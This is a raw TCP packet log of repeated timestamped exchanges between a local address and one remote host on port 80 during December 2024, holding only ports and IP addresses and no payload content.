Dec 18, 2024 09:13:15.832039118 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.832130909 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.832683086 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.832833052 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.832889080 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.833504915 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.833601952 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.833755970 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.834314108 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.834379911 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.834428072 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.835108042 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.835223913 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.835736036 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.835922956 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.836026907 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.836149931 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.836715937 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.836823940 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.836870909 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.837517977 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.837637901 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.837703943 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.838356018 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.838536978 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.838582993 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.839138985 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.839251995 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.839365959 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.840070963 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.840137959 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.840188980 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.840758085 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.841145039 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.841473103 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.841573000 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.841671944 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.841715097 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.842354059 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.842473984 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.842514992 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.843172073 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.843260050 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.843461990 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.843946934 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.844084978 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.844187021 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.844774008 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.910489082 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.917349100 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:16.671950102 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:18.933710098 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:19.053173065 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:19.053276062 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:19.053615093 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:19.173088074 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.553158998 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.553169966 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.553184032 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.553248882 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:20.553282022 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.553292036 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.553328991 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.553338051 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.553353071 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.553360939 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:20.553422928 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:20.553580999 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.553659916 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.553709030 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:20.672879934 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.672977924 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.673027039 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:20.677485943 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.763267994 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.763328075 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:20.763389111 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.767492056 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.767543077 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:20.767751932 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.775891066 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.775942087 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:20.775999069 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.784274101 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.784315109 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:20.784557104 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.792602062 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.792639017 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:20.792680025 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.800996065 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.801049948 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:20.801188946 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.809335947 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.809374094 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:20.809511900 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.817701101 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.817743063 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:20.817789078 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.826128960 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.826169968 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:20.826220989 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.834507942 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.834544897 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:20.834574938 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.882862091 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.882909060 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.882936954 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:20.973157883 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.973212957 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.973232985 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:20.975832939 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.975949049 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:20.976866961 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.976989985 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.977066040 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:20.982554913 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.982639074 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.982781887 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:20.987013102 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.987024069 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.987860918 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:20.992578983 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.992592096 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.992682934 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:20.998269081 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.998466015 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:20.998737097 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.003906965 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.003974915 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.004026890 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.009512901 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.009742022 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.009979963 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.015202999 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.015320063 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.016156912 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.019381046 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.019557953 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.023192883 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.023718119 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.023839951 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.023998976 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.027832031 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.027842999 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.028069973 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.032090902 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.032099962 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.035422087 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.037210941 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.037365913 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.037864923 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.040770054 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.040807962 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.040885925 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.044519901 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.044615030 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.044814110 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.048681974 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.150986910 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.164370060 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.164385080 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.164483070 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.165993929 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.166167021 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.166294098 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.169364929 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.182578087 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.182712078 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.182895899 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.183779001 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.183828115 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.183984041 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.186897993 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.186950922 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.187016964 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.189472914 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.189522982 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.189616919 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.192811966 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.192872047 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.192954063 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.196146011 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.196227074 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.196258068 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.199495077 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.199512005 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.199668884 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.202835083 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.202931881 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.202965021 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.206176996 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.206264973 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.206335068 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.209506035 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.209614038 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.209817886 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.212789059 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.212913990 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.213273048 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.216140032 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.216242075 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.216308117 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.219492912 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.219614029 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.219641924 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.222798109 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.222893000 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.222908974 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.226133108 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.226186991 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.226227045 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.229465008 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.229517937 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.229576111 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.232830048 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.232893944 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.232933998 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.236165047 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.236227989 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.236403942 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.239500999 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.239567995 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.239593983 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.242789984 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.242892981 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.242899895 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.246179104 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.246323109 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.246390104 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.249474049 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.249634027 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.249705076 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.252795935 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.252871037 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.252902985 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.256167889 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.256263018 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.256268024 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.259443045 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.259480953 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.259507895 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.262799025 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.262871027 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.262903929 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.266123056 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.266206026 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.355511904 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.355588913 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.355884075 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.357176065 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.357285976 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.358112097 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.360511065 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.360629082 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.361488104 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.363795042 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.392571926 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.392646074 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.392656088 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.393342972 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.393449068 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.393521070 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.395982027 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.396090984 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.396929979 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.398611069 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.398732901 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.398781061 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.401248932 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.401344061 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.401407003 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.404000044 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.404058933 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.404103041 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.406528950 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.406583071 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.406588078 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.409149885 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.409198046 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.409277916 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.411756992 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.411815882 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.411848068 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.414390087 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.414482117 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.415148973 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.417005062 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.417073965 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.417112112 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.419656992 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.419725895 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.419753075 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.422310114 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.422369003 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.422373056 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.424904108 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.425010920 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.425080061 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.427536964 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.427644968 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.427687883 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.430164099 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.430277109 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.430346012 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.432801962 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.432912111 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.432941914 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.435445070 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.435545921 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.435570955 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.438069105 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.438142061 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.438178062 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.440664053 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.440784931 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.440913916 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.443305969 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.443440914 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.443797112 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.445980072 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.446083069 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.446120977 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.448570967 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.448635101 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.448668003 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.451206923 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.451262951 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.451351881 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.453844070 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.453908920 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.454025030 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.456458092 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.456535101 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.456577063 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.459095001 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.459181070 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.459203005 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.461703062 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.461760998 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.461894989 CET	80	49729	139.99.188.124	192.168.2.5
